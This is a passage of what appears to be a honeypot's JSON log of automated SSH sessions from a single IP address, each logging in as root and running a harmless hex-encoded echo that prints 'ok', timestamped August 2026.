  "transcript_bytes": 29
 },
 {
  "id": "c4d494e5-b234-4386-a227-6e25be47578c",
  "name": "scarlet-boreal-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54184,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:19:25.609417+00:00",
  "ended_at": "2026-08-23T08:19:27.468120+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "34567dbb-aaf2-4d18-a0f8-b469bddf605f",
  "name": "frank-prickly-mallard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54176,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:19:22.808147+00:00",
  "ended_at": "2026-08-23T08:19:24.946839+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fa1a8236-f122-4bcb-9b62-b70e98d5dba1",
  "name": "opal-somber-bluebird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54174,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:19:20.205633+00:00",
  "ended_at": "2026-08-23T08:19:22.028362+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "90283244-b3ba-4b10-b8e1-6647139524a2",
  "name": "solemn-austere-tinamou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51404,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:19:17.588940+00:00",
  "ended_at": "2026-08-23T08:19:19.400734+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a871c64f-a5fe-41b0-8a9d-a0a4b5a90ed0",
  "name": "frosty-feral-jackdaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51390,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:19:14.998734+00:00",
  "ended_at": "2026-08-23T08:19:16.786011+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c5508c80-3113-49ae-b6cc-3acd6f34b41b",
  "name": "orderly-mighty-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51380,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:19:12.215751+00:00",
  "ended_at": "2026-08-23T08:19:14.227998+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2d671b9b-8373-4157-8ead-d5ebad84c253",
  "name": "knotted-nautical-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51370,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:19:10.464780+00:00",
  "ended_at": "2026-08-23T08:19:11.459042+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4d260507-9a77-4572-9454-6e73d30be02b",
  "name": "amiable-earnest-bonobo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35994,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:19:08.006995+00:00",
  "ended_at": "2026-08-23T08:19:09.781677+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "abc0eea2-a112-4a62-ac63-a5dc942094f6",
  "name": "vigilant-twilight-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35978,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:19:05.047012+00:00",
  "ended_at": "2026-08-23T08:19:07.174742+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4c0d4bc4-befd-434b-9aca-62ffb787a274",
  "name": "wry-serene-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35972,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:19:02.725820+00:00",
  "ended_at": "2026-08-23T08:19:04.292049+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ed32a164-9f73-4761-96be-c8e92638fb6e",
  "name": "windswept-lunar-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35962,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:19:00.015260+00:00",
  "ended_at": "2026-08-23T08:19:01.971043+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "37b780a4-336f-4172-9911-1e9bd5640d6c",
  "name": "feathered-glacial-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52534,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:18:58.328068+00:00",
  "ended_at": "2026-08-23T08:18:59.268040+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "63e22b52-bee1-4717-a7be-aea81842904e",
  "name": "vernal-sunlit-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52518,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:18:55.820706+00:00",
  "ended_at": "2026-08-23T08:18:57.577019+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2bcde642-a72d-4348-87a7-7dbee90138cb",
  "name": "tidal-ruddy-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52502,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:18:49.234269+00:00",
  "ended_at": "2026-08-23T08:18:55.015489+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b858f00b-66ee-44cc-a323-329989fce412",
  "name": "feathered-zealous-tamarin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42372,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:18:47.655060+00:00",
  "ended_at": "2026-08-23T08:18:48.605791+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9511c7d1-3ce7-4036-8916-3b7165b531d1",
  "name": "nameless-hazel-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42358,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:18:45.748467+00:00",
  "ended_at": "2026-08-23T08:18:46.978709+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4a47bd5f-6394-4205-8ef7-06018e5d2574",
  "name": "nautical-hushed-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42354,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:18:43.927026+00:00",
  "ended_at": "2026-08-23T08:18:44.944004+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "08085879-16e6-4d8c-a545-7b4ac29215e4",
  "name": "sooty-airy-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42348,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:18:42.237855+00:00",
  "ended_at": "2026-08-23T08:18:43.181601+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "448510d0-6359-4670-8e30-0a397be88971",
  "name": "woven-knotted-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42344,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:18:40.282460+00:00",
  "ended_at": "2026-08-23T08:18:41.548589+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "601420ea-fa8c-4994-bc2c-6ac96f27bdd8",
  "name": "candid-bronzed-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57906,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:18:37.433149+00:00",
  "ended_at": "2026-08-23T08:18:39.490049+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "816b0f60-199f-48c9-8cca-70ba0007d2a8",
  "name": "verdant-solemn-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57890,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:18:34.687918+00:00",
  "ended_at": "2026-08-23T08:18:36.786866+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "908dbdf5-e6c3-4d55-9a22-9f5b3df61a06",
  "name": "sterling-slender-wheatear",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57874,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:18:32.481272+00:00",
  "ended_at": "2026-08-23T08:18:33.846010+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b53f59ba-319d-4993-8a9d-1c24716b7741",
  "name": "courtly-gritty-moorhen",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57870,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:18:30.244303+00:00",
  "ended_at": "2026-08-23T08:18:31.688046+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7317f61c-d331-4f02-9155-ee0912b169d0",
  "name": "hazy-marine-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39320,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:18:27.760954+00:00",
  "ended_at": "2026-08-23T08:18:29.596440+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bbcdb995-6de2-4322-9d51-520e9e13c76f",
  "name": "bronzed-curious-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39312,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:18:25.211242+00:00",
  "ended_at": "2026-08-23T08:18:27.060725+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2cadfcaa-bb60-4edb-a605-e0eb707fb853",
  "name": "nimble-dusty-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39308,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:18:22.586144+00:00",
  "ended_at": "2026-08-23T08:18:24.400005+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "65e1a2f8-ca1e-4d1e-ae5f-a76e7e76fe5c",
  "name": "wooded-mellow-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39296,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:18:20.532627+00:00",
  "ended_at": "2026-08-23T08:18:21.843000+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "dc237491-5fc6-46de-9028-412b978ca1e3",
  "name": "thrifty-rapid-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58576,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:18:17.666706+00:00",
  "ended_at": "2026-08-23T08:18:19.811014+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6c064571-9416-48c2-a876-91be4ea95f2c",
  "name": "kindly-leafy-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58572,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:18:15.335089+00:00",
  "ended_at": "2026-08-23T08:18:16.993385+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ad7992b3-75c8-4a8c-9820-424c9cb33d83",
  "name": "wistful-restless-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58558,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:18:13.339251+00:00",
  "ended_at": "2026-08-23T08:18:14.491497+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e76eb3dd-3043-4c2a-a82f-4ae4af3faa14",
  "name": "polar-bold-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58550,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:18:10.419077+00:00",
  "ended_at": "2026-08-23T08:18:12.655998+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bab5fab4-8ad9-4473-bd28-0db18e0eac2f",
  "name": "dewy-weathered-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60030,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:18:07.637329+00:00",
  "ended_at": "2026-08-23T08:18:09.738015+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7a5ab852-6d39-41e8-b289-8356356802a8",
  "name": "scarlet-earnest-cormorant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60024,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:18:05.376903+00:00",
  "ended_at": "2026-08-23T08:18:06.813674+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b73ac5db-7145-4199-9b06-87e519193ed8",
  "name": "orderly-feathered-mink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60012,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:18:03.213165+00:00",
  "ended_at": "2026-08-23T08:18:04.655334+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ece92325-8a93-4906-8618-a7edbf8a3fbc",
  "name": "plucky-genial-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60008,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:18:00.598103+00:00",
  "ended_at": "2026-08-23T08:18:02.573013+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "aee4237e-baaf-449c-a771-8fa12abf272b",
  "name": "hushed-thrifty-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43908,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:17:58.306153+00:00",
  "ended_at": "2026-08-23T08:17:59.970514+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2b038e6f-7e0c-4210-8b56-d48b07670664",
  "name": "ashen-pristine-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43900,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:17:56.143096+00:00",
  "ended_at": "2026-08-23T08:17:57.454007+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0f09eb3a-75d4-44a2-841c-e876d923b8d6",
  "name": "lofty-velvet-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43890,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:17:53.932106+00:00",
  "ended_at": "2026-08-23T08:17:55.308998+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "aa0c406e-7cde-44d9-9a3b-69ee040e3cf9",
  "name": "plush-lunar-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43880,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:17:51.848075+00:00",
  "ended_at": "2026-08-23T08:17:53.179950+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3642c929-0b21-4f9e-b75d-9e7c0d45dd04",
  "name": "verdant-regal-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43878,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:17:49.316888+00:00",
  "ended_at": "2026-08-23T08:17:51.225034+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a45a477a-5296-4470-97e3-f21b14cef286",
  "name": "velvet-faded-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51672,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:17:43.500472+00:00",
  "ended_at": "2026-08-23T08:17:48.460872+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4f3f6a3b-c30b-4541-bac1-319e7a4363ad",
  "name": "brisk-daring-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56872,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:17:37.909271+00:00",
  "ended_at": "2026-08-23T08:17:42.738081+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "08a1eeac-2533-4001-a2f2-73fc8f92d43e",
  "name": "icy-calm-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56862,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:17:35.731355+00:00",
  "ended_at": "2026-08-23T08:17:37.162003+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b16c0a66-7e9b-4aae-aacf-08e8b4291472",
  "name": "smooth-seaward-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56846,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:17:32.785125+00:00",
  "ended_at": "2026-08-23T08:17:34.945442+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "263b081c-3eeb-4851-8b93-c9eb9a6c6ca7",
  "name": "coastal-foggy-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56844,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:17:30.878102+00:00",
  "ended_at": "2026-08-23T08:17:32.074003+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "47b78ec1-188a-4115-9688-e601e2d6ddcc",
  "name": "sunlit-wry-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53460,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:17:28.354081+00:00",
  "ended_at": "2026-08-23T08:17:30.191572+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f9c03bfa-fa66-4e10-89d2-05b6c5c62d55",
  "name": "reedy-hushed-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53456,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:17:26.667100+00:00",
  "ended_at": "2026-08-23T08:17:27.616078+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3fbea100-c805-4895-8b10-1d7fc9a0b291",
  "name": "seaward-dapper-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53452,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:17:24.469552+00:00",
  "ended_at": "2026-08-23T08:17:26.025401+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6287841a-c547-49a6-9e7e-ca6aab705a55",
  "name": "hazel-bronzed-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53444,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:17:21.772076+00:00",
  "ended_at": "2026-08-23T08:17:23.618830+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9ad34ade-9cdf-460b-847e-514240caaabb",
